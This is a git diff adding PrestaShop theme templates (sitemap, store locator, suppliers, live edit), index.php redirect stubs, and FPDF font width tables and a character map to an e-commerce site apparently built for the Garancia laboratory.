International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Sitemap'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Sitemap'}]

        +
        +
        +

        {l s='Our offers'}

        + +
        +
        +

        {l s='Your Account'}

        + +
        +
        +
        +
        +
        +

        {l s='Categories'}

        + +
          + {if isset($categoriesTree.children)} + {foreach $categoriesTree.children as $child} + {if $child.id!=12} + {if $child@last} + {include file="$tpl_dir./category-tree-branch.tpl" node=$child last='true'} + {else} + {include file="$tpl_dir./category-tree-branch.tpl" node=$child} + {/if} + {/if} + {/foreach} + {/if} +
        +
        +
        +

        {l s='Pages'}

        + +
          + {if isset($categoriescmsTree.children)} + {foreach $categoriescmsTree.children as $child} + {if (isset($child.children) && $child.children|@count > 0) || $child.cms|@count > 0} + {include file="$tpl_dir./category-cms-tree-branch.tpl" node=$child} + {/if} + {/foreach} + {/if} + {foreach from=$categoriescmsTree.cms item=cms name=cmsTree} +
        • {$cms.meta_title|escape:'htmlall':'UTF-8'}
        • + {/foreach} +
        • {l s='Contact'}
        • + {if $display_store}
        • {l s='Our stores'}
        • {/if} +
        +
        +
        +
        +
        diff --git a/themes/default/store_infos.tpl b/themes/default/store_infos.tpl new file mode 100755 index 0000000..9e5242b --- /dev/null +++ b/themes/default/store_infos.tpl @@ -0,0 +1,44 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{* The following lines allow translations in back-office and has to stay commented + + {l s='Monday'} + {l s='Tuesday'} + {l s='Wednesday'} + {l s='Thursday'} + {l s='Friday'} + {l s='Saturday'} + {l s='Sunday'} +*} +
        +
        +{l s='working hours'} + + {foreach from=$days_datas item=one_day} + + + + {/foreach} +
        {l s=$one_day.day}{$one_day.hours}
        diff --git a/themes/default/stores.tpl b/themes/default/stores.tpl new file mode 100755 index 0000000..e86e2c7 --- /dev/null +++ b/themes/default/stores.tpl @@ -0,0 +1,80 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{capture name=path}{l s='Où nous trouver'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Trouver un point de vente du laboratoire Garancia'}]

        + + +
        +

        {l s='Pour vos recherches hors France métropolitaine, merci d’indiquer une ville et un code postal'}

        +

        + + +

        +
        +
        + + + +
        +
        +
        +
        +
        +
        +
        + +
        \ No newline at end of file diff --git a/themes/default/supplier-list.tpl b/themes/default/supplier-list.tpl new file mode 100755 index 0000000..48d8de0 --- /dev/null +++ b/themes/default/supplier-list.tpl @@ -0,0 +1,103 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Suppliers:'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +

        {l s='Suppliers:'}

        + +{if isset($errors) AND $errors} + {include file="$tpl_dir./errors.tpl"} +{else} + +

        {strip} + + {if $nbSuppliers == 0}{l s='There are no suppliers.'} + {else} + {if $nbSuppliers == 1} + {l s='There is %d supplier.' sprintf=$nbSuppliers} + {else} + {l s='There are %d suppliers.' sprintf=$nbSuppliers} + {/if} + {/if} + {/strip} +

        +{if $nbSuppliers > 0} + + {include file="$tpl_dir./pagination.tpl"} +{/if} +{/if} diff --git a/themes/default/supplier.tpl b/themes/default/supplier.tpl new file mode 100755 index 0000000..9e751fc --- /dev/null +++ b/themes/default/supplier.tpl @@ -0,0 +1,61 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{include file="$tpl_dir./breadcrumb.tpl"} + +{include file="$tpl_dir./errors.tpl"} + +{if !isset($errors) OR !sizeof($errors)} +

        {l s='List of products by supplier:'} {$supplier->name|escape:'htmlall':'UTF-8'}

        + {if !empty($supplier->description)} +
        +

        {$supplier->description}

        +
        + {/if} + + {if $products} +
        + {include file="$tpl_dir./pagination.tpl"} + +
        + {include file="./product-sort.tpl"} + {include file="./product-compare.tpl"} + {include file="./nbr-product-page.tpl"} +
        +
        + + {include file="./product-list.tpl" products=$products} + +
        +
        + {include file="./product-sort.tpl"} {include file="./product-compare.tpl"} {include file="./nbr-product-page.tpl"} + +
        + {include file="./pagination.tpl"} +
        + {else} +

        {l s='No products for this supplier.'}

        + {/if} +{/if} diff --git a/themes/index.php b/themes/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/themes/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/themes/live_edit.tpl b/themes/live_edit.tpl new file mode 100755 index 0000000..e9a7a5f --- /dev/null +++ b/themes/live_edit.tpl @@ -0,0 +1,65 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +
        + + + + + + {foreach from=$hook_list key=hook_id item=hook_name} + + {/foreach} +
        + + + +
        +
        +
        +
        + +
        +

        +

        + +
        diff --git a/tools/fpdf/font/courier.php b/tools/fpdf/font/courier.php new file mode 100755 index 0000000..4c009f3 --- /dev/null +++ b/tools/fpdf/font/courier.php @@ -0,0 +1,7 @@ + diff --git a/tools/fpdf/font/helvetica.php b/tools/fpdf/font/helvetica.php new file mode 100755 index 0000000..8fa7683 --- /dev/null +++ b/tools/fpdf/font/helvetica.php @@ -0,0 +1,15 @@ +278,chr(1)=>278,chr(2)=>278,chr(3)=>278,chr(4)=>278,chr(5)=>278,chr(6)=>278,chr(7)=>278,chr(8)=>278,chr(9)=>278,chr(10)=>278,chr(11)=>278,chr(12)=>278,chr(13)=>278,chr(14)=>278,chr(15)=>278,chr(16)=>278,chr(17)=>278,chr(18)=>278,chr(19)=>278,chr(20)=>278,chr(21)=>278, + chr(22)=>278,chr(23)=>278,chr(24)=>278,chr(25)=>278,chr(26)=>278,chr(27)=>278,chr(28)=>278,chr(29)=>278,chr(30)=>278,chr(31)=>278,' '=>278,'!'=>278,'"'=>355,'#'=>556,'$'=>556,'%'=>889,'&'=>667,'\''=>191,'('=>333,')'=>333,'*'=>389,'+'=>584, + ','=>278,'-'=>333,'.'=>278,'/'=>278,'0'=>556,'1'=>556,'2'=>556,'3'=>556,'4'=>556,'5'=>556,'6'=>556,'7'=>556,'8'=>556,'9'=>556,':'=>278,';'=>278,'<'=>584,'='=>584,'>'=>584,'?'=>556,'@'=>1015,'A'=>667, + 'B'=>667,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>722,'I'=>278,'J'=>500,'K'=>667,'L'=>556,'M'=>833,'N'=>722,'O'=>778,'P'=>667,'Q'=>778,'R'=>722,'S'=>667,'T'=>611,'U'=>722,'V'=>667,'W'=>944, + 'X'=>667,'Y'=>667,'Z'=>611,'['=>278,'\\'=>278,']'=>278,'^'=>469,'_'=>556,'`'=>333,'a'=>556,'b'=>556,'c'=>500,'d'=>556,'e'=>556,'f'=>278,'g'=>556,'h'=>556,'i'=>222,'j'=>222,'k'=>500,'l'=>222,'m'=>833, + 'n'=>556,'o'=>556,'p'=>556,'q'=>556,'r'=>333,'s'=>500,'t'=>278,'u'=>556,'v'=>500,'w'=>722,'x'=>500,'y'=>500,'z'=>500,'{'=>334,'|'=>260,'}'=>334,'~'=>584,chr(127)=>350,chr(128)=>556,chr(129)=>350,chr(130)=>222,chr(131)=>556, + chr(132)=>333,chr(133)=>1000,chr(134)=>556,chr(135)=>556,chr(136)=>333,chr(137)=>1000,chr(138)=>667,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>222,chr(146)=>222,chr(147)=>333,chr(148)=>333,chr(149)=>350,chr(150)=>556,chr(151)=>1000,chr(152)=>333,chr(153)=>1000, + chr(154)=>500,chr(155)=>333,chr(156)=>944,chr(157)=>350,chr(158)=>500,chr(159)=>667,chr(160)=>278,chr(161)=>333,chr(162)=>556,chr(163)=>556,chr(164)=>556,chr(165)=>556,chr(166)=>260,chr(167)=>556,chr(168)=>333,chr(169)=>737,chr(170)=>370,chr(171)=>556,chr(172)=>584,chr(173)=>333,chr(174)=>737,chr(175)=>333, + chr(176)=>400,chr(177)=>584,chr(178)=>333,chr(179)=>333,chr(180)=>333,chr(181)=>556,chr(182)=>537,chr(183)=>278,chr(184)=>333,chr(185)=>333,chr(186)=>365,chr(187)=>556,chr(188)=>834,chr(189)=>834,chr(190)=>834,chr(191)=>611,chr(192)=>667,chr(193)=>667,chr(194)=>667,chr(195)=>667,chr(196)=>667,chr(197)=>667, + chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>278,chr(205)=>278,chr(206)=>278,chr(207)=>278,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>584,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722, + chr(220)=>722,chr(221)=>667,chr(222)=>667,chr(223)=>611,chr(224)=>556,chr(225)=>556,chr(226)=>556,chr(227)=>556,chr(228)=>556,chr(229)=>556,chr(230)=>889,chr(231)=>500,chr(232)=>556,chr(233)=>556,chr(234)=>556,chr(235)=>556,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>556,chr(241)=>556, + chr(242)=>556,chr(243)=>556,chr(244)=>556,chr(245)=>556,chr(246)=>556,chr(247)=>584,chr(248)=>611,chr(249)=>556,chr(250)=>556,chr(251)=>556,chr(252)=>556,chr(253)=>500,chr(254)=>556,chr(255)=>500); +?> diff --git a/tools/fpdf/font/helveticab.php b/tools/fpdf/font/helveticab.php new file mode 100755 index 0000000..a8473c9 --- /dev/null +++ b/tools/fpdf/font/helveticab.php @@ -0,0 +1,15 @@ +278,chr(1)=>278,chr(2)=>278,chr(3)=>278,chr(4)=>278,chr(5)=>278,chr(6)=>278,chr(7)=>278,chr(8)=>278,chr(9)=>278,chr(10)=>278,chr(11)=>278,chr(12)=>278,chr(13)=>278,chr(14)=>278,chr(15)=>278,chr(16)=>278,chr(17)=>278,chr(18)=>278,chr(19)=>278,chr(20)=>278,chr(21)=>278, + chr(22)=>278,chr(23)=>278,chr(24)=>278,chr(25)=>278,chr(26)=>278,chr(27)=>278,chr(28)=>278,chr(29)=>278,chr(30)=>278,chr(31)=>278,' '=>278,'!'=>333,'"'=>474,'#'=>556,'$'=>556,'%'=>889,'&'=>722,'\''=>238,'('=>333,')'=>333,'*'=>389,'+'=>584, + ','=>278,'-'=>333,'.'=>278,'/'=>278,'0'=>556,'1'=>556,'2'=>556,'3'=>556,'4'=>556,'5'=>556,'6'=>556,'7'=>556,'8'=>556,'9'=>556,':'=>333,';'=>333,'<'=>584,'='=>584,'>'=>584,'?'=>611,'@'=>975,'A'=>722, + 'B'=>722,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>722,'I'=>278,'J'=>556,'K'=>722,'L'=>611,'M'=>833,'N'=>722,'O'=>778,'P'=>667,'Q'=>778,'R'=>722,'S'=>667,'T'=>611,'U'=>722,'V'=>667,'W'=>944, + 'X'=>667,'Y'=>667,'Z'=>611,'['=>333,'\\'=>278,']'=>333,'^'=>584,'_'=>556,'`'=>333,'a'=>556,'b'=>611,'c'=>556,'d'=>611,'e'=>556,'f'=>333,'g'=>611,'h'=>611,'i'=>278,'j'=>278,'k'=>556,'l'=>278,'m'=>889, + 'n'=>611,'o'=>611,'p'=>611,'q'=>611,'r'=>389,'s'=>556,'t'=>333,'u'=>611,'v'=>556,'w'=>778,'x'=>556,'y'=>556,'z'=>500,'{'=>389,'|'=>280,'}'=>389,'~'=>584,chr(127)=>350,chr(128)=>556,chr(129)=>350,chr(130)=>278,chr(131)=>556, + chr(132)=>500,chr(133)=>1000,chr(134)=>556,chr(135)=>556,chr(136)=>333,chr(137)=>1000,chr(138)=>667,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>278,chr(146)=>278,chr(147)=>500,chr(148)=>500,chr(149)=>350,chr(150)=>556,chr(151)=>1000,chr(152)=>333,chr(153)=>1000, + chr(154)=>556,chr(155)=>333,chr(156)=>944,chr(157)=>350,chr(158)=>500,chr(159)=>667,chr(160)=>278,chr(161)=>333,chr(162)=>556,chr(163)=>556,chr(164)=>556,chr(165)=>556,chr(166)=>280,chr(167)=>556,chr(168)=>333,chr(169)=>737,chr(170)=>370,chr(171)=>556,chr(172)=>584,chr(173)=>333,chr(174)=>737,chr(175)=>333, + chr(176)=>400,chr(177)=>584,chr(178)=>333,chr(179)=>333,chr(180)=>333,chr(181)=>611,chr(182)=>556,chr(183)=>278,chr(184)=>333,chr(185)=>333,chr(186)=>365,chr(187)=>556,chr(188)=>834,chr(189)=>834,chr(190)=>834,chr(191)=>611,chr(192)=>722,chr(193)=>722,chr(194)=>722,chr(195)=>722,chr(196)=>722,chr(197)=>722, + chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>278,chr(205)=>278,chr(206)=>278,chr(207)=>278,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>584,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722, + chr(220)=>722,chr(221)=>667,chr(222)=>667,chr(223)=>611,chr(224)=>556,chr(225)=>556,chr(226)=>556,chr(227)=>556,chr(228)=>556,chr(229)=>556,chr(230)=>889,chr(231)=>556,chr(232)=>556,chr(233)=>556,chr(234)=>556,chr(235)=>556,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>611,chr(241)=>611, + chr(242)=>611,chr(243)=>611,chr(244)=>611,chr(245)=>611,chr(246)=>611,chr(247)=>584,chr(248)=>611,chr(249)=>611,chr(250)=>611,chr(251)=>611,chr(252)=>611,chr(253)=>556,chr(254)=>611,chr(255)=>556); +?> diff --git a/tools/fpdf/font/helveticabi.php b/tools/fpdf/font/helveticabi.php new file mode 100755 index 0000000..4137953 --- /dev/null +++ b/tools/fpdf/font/helveticabi.php @@ -0,0 +1,15 @@ +278,chr(1)=>278,chr(2)=>278,chr(3)=>278,chr(4)=>278,chr(5)=>278,chr(6)=>278,chr(7)=>278,chr(8)=>278,chr(9)=>278,chr(10)=>278,chr(11)=>278,chr(12)=>278,chr(13)=>278,chr(14)=>278,chr(15)=>278,chr(16)=>278,chr(17)=>278,chr(18)=>278,chr(19)=>278,chr(20)=>278,chr(21)=>278, + chr(22)=>278,chr(23)=>278,chr(24)=>278,chr(25)=>278,chr(26)=>278,chr(27)=>278,chr(28)=>278,chr(29)=>278,chr(30)=>278,chr(31)=>278,' '=>278,'!'=>333,'"'=>474,'#'=>556,'$'=>556,'%'=>889,'&'=>722,'\''=>238,'('=>333,')'=>333,'*'=>389,'+'=>584, + ','=>278,'-'=>333,'.'=>278,'/'=>278,'0'=>556,'1'=>556,'2'=>556,'3'=>556,'4'=>556,'5'=>556,'6'=>556,'7'=>556,'8'=>556,'9'=>556,':'=>333,';'=>333,'<'=>584,'='=>584,'>'=>584,'?'=>611,'@'=>975,'A'=>722, + 'B'=>722,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>722,'I'=>278,'J'=>556,'K'=>722,'L'=>611,'M'=>833,'N'=>722,'O'=>778,'P'=>667,'Q'=>778,'R'=>722,'S'=>667,'T'=>611,'U'=>722,'V'=>667,'W'=>944, + 'X'=>667,'Y'=>667,'Z'=>611,'['=>333,'\\'=>278,']'=>333,'^'=>584,'_'=>556,'`'=>333,'a'=>556,'b'=>611,'c'=>556,'d'=>611,'e'=>556,'f'=>333,'g'=>611,'h'=>611,'i'=>278,'j'=>278,'k'=>556,'l'=>278,'m'=>889, + 'n'=>611,'o'=>611,'p'=>611,'q'=>611,'r'=>389,'s'=>556,'t'=>333,'u'=>611,'v'=>556,'w'=>778,'x'=>556,'y'=>556,'z'=>500,'{'=>389,'|'=>280,'}'=>389,'~'=>584,chr(127)=>350,chr(128)=>556,chr(129)=>350,chr(130)=>278,chr(131)=>556, + chr(132)=>500,chr(133)=>1000,chr(134)=>556,chr(135)=>556,chr(136)=>333,chr(137)=>1000,chr(138)=>667,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>278,chr(146)=>278,chr(147)=>500,chr(148)=>500,chr(149)=>350,chr(150)=>556,chr(151)=>1000,chr(152)=>333,chr(153)=>1000, + chr(154)=>556,chr(155)=>333,chr(156)=>944,chr(157)=>350,chr(158)=>500,chr(159)=>667,chr(160)=>278,chr(161)=>333,chr(162)=>556,chr(163)=>556,chr(164)=>556,chr(165)=>556,chr(166)=>280,chr(167)=>556,chr(168)=>333,chr(169)=>737,chr(170)=>370,chr(171)=>556,chr(172)=>584,chr(173)=>333,chr(174)=>737,chr(175)=>333, + chr(176)=>400,chr(177)=>584,chr(178)=>333,chr(179)=>333,chr(180)=>333,chr(181)=>611,chr(182)=>556,chr(183)=>278,chr(184)=>333,chr(185)=>333,chr(186)=>365,chr(187)=>556,chr(188)=>834,chr(189)=>834,chr(190)=>834,chr(191)=>611,chr(192)=>722,chr(193)=>722,chr(194)=>722,chr(195)=>722,chr(196)=>722,chr(197)=>722, + chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>278,chr(205)=>278,chr(206)=>278,chr(207)=>278,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>584,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722, + chr(220)=>722,chr(221)=>667,chr(222)=>667,chr(223)=>611,chr(224)=>556,chr(225)=>556,chr(226)=>556,chr(227)=>556,chr(228)=>556,chr(229)=>556,chr(230)=>889,chr(231)=>556,chr(232)=>556,chr(233)=>556,chr(234)=>556,chr(235)=>556,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>611,chr(241)=>611, + chr(242)=>611,chr(243)=>611,chr(244)=>611,chr(245)=>611,chr(246)=>611,chr(247)=>584,chr(248)=>611,chr(249)=>611,chr(250)=>611,chr(251)=>611,chr(252)=>611,chr(253)=>556,chr(254)=>611,chr(255)=>556); +?> diff --git a/tools/fpdf/font/helveticai.php b/tools/fpdf/font/helveticai.php new file mode 100755 index 0000000..d5bb6e0 --- /dev/null +++ b/tools/fpdf/font/helveticai.php @@ -0,0 +1,15 @@ +278,chr(1)=>278,chr(2)=>278,chr(3)=>278,chr(4)=>278,chr(5)=>278,chr(6)=>278,chr(7)=>278,chr(8)=>278,chr(9)=>278,chr(10)=>278,chr(11)=>278,chr(12)=>278,chr(13)=>278,chr(14)=>278,chr(15)=>278,chr(16)=>278,chr(17)=>278,chr(18)=>278,chr(19)=>278,chr(20)=>278,chr(21)=>278, + chr(22)=>278,chr(23)=>278,chr(24)=>278,chr(25)=>278,chr(26)=>278,chr(27)=>278,chr(28)=>278,chr(29)=>278,chr(30)=>278,chr(31)=>278,' '=>278,'!'=>278,'"'=>355,'#'=>556,'$'=>556,'%'=>889,'&'=>667,'\''=>191,'('=>333,')'=>333,'*'=>389,'+'=>584, + ','=>278,'-'=>333,'.'=>278,'/'=>278,'0'=>556,'1'=>556,'2'=>556,'3'=>556,'4'=>556,'5'=>556,'6'=>556,'7'=>556,'8'=>556,'9'=>556,':'=>278,';'=>278,'<'=>584,'='=>584,'>'=>584,'?'=>556,'@'=>1015,'A'=>667, + 'B'=>667,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>722,'I'=>278,'J'=>500,'K'=>667,'L'=>556,'M'=>833,'N'=>722,'O'=>778,'P'=>667,'Q'=>778,'R'=>722,'S'=>667,'T'=>611,'U'=>722,'V'=>667,'W'=>944, + 'X'=>667,'Y'=>667,'Z'=>611,'['=>278,'\\'=>278,']'=>278,'^'=>469,'_'=>556,'`'=>333,'a'=>556,'b'=>556,'c'=>500,'d'=>556,'e'=>556,'f'=>278,'g'=>556,'h'=>556,'i'=>222,'j'=>222,'k'=>500,'l'=>222,'m'=>833, + 'n'=>556,'o'=>556,'p'=>556,'q'=>556,'r'=>333,'s'=>500,'t'=>278,'u'=>556,'v'=>500,'w'=>722,'x'=>500,'y'=>500,'z'=>500,'{'=>334,'|'=>260,'}'=>334,'~'=>584,chr(127)=>350,chr(128)=>556,chr(129)=>350,chr(130)=>222,chr(131)=>556, + chr(132)=>333,chr(133)=>1000,chr(134)=>556,chr(135)=>556,chr(136)=>333,chr(137)=>1000,chr(138)=>667,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>222,chr(146)=>222,chr(147)=>333,chr(148)=>333,chr(149)=>350,chr(150)=>556,chr(151)=>1000,chr(152)=>333,chr(153)=>1000, + chr(154)=>500,chr(155)=>333,chr(156)=>944,chr(157)=>350,chr(158)=>500,chr(159)=>667,chr(160)=>278,chr(161)=>333,chr(162)=>556,chr(163)=>556,chr(164)=>556,chr(165)=>556,chr(166)=>260,chr(167)=>556,chr(168)=>333,chr(169)=>737,chr(170)=>370,chr(171)=>556,chr(172)=>584,chr(173)=>333,chr(174)=>737,chr(175)=>333, + chr(176)=>400,chr(177)=>584,chr(178)=>333,chr(179)=>333,chr(180)=>333,chr(181)=>556,chr(182)=>537,chr(183)=>278,chr(184)=>333,chr(185)=>333,chr(186)=>365,chr(187)=>556,chr(188)=>834,chr(189)=>834,chr(190)=>834,chr(191)=>611,chr(192)=>667,chr(193)=>667,chr(194)=>667,chr(195)=>667,chr(196)=>667,chr(197)=>667, + chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>278,chr(205)=>278,chr(206)=>278,chr(207)=>278,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>584,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722, + chr(220)=>722,chr(221)=>667,chr(222)=>667,chr(223)=>611,chr(224)=>556,chr(225)=>556,chr(226)=>556,chr(227)=>556,chr(228)=>556,chr(229)=>556,chr(230)=>889,chr(231)=>500,chr(232)=>556,chr(233)=>556,chr(234)=>556,chr(235)=>556,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>556,chr(241)=>556, + chr(242)=>556,chr(243)=>556,chr(244)=>556,chr(245)=>556,chr(246)=>556,chr(247)=>584,chr(248)=>611,chr(249)=>556,chr(250)=>556,chr(251)=>556,chr(252)=>556,chr(253)=>500,chr(254)=>556,chr(255)=>500); +?> diff --git a/tools/fpdf/font/index.php b/tools/fpdf/font/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/tools/fpdf/font/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/tools/fpdf/font/makefont/cp1250.map b/tools/fpdf/font/makefont/cp1250.map new file mode 100755 index 0000000..ec110af --- /dev/null +++ b/tools/fpdf/font/makefont/cp1250.map @@ -0,0 +1,251 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i 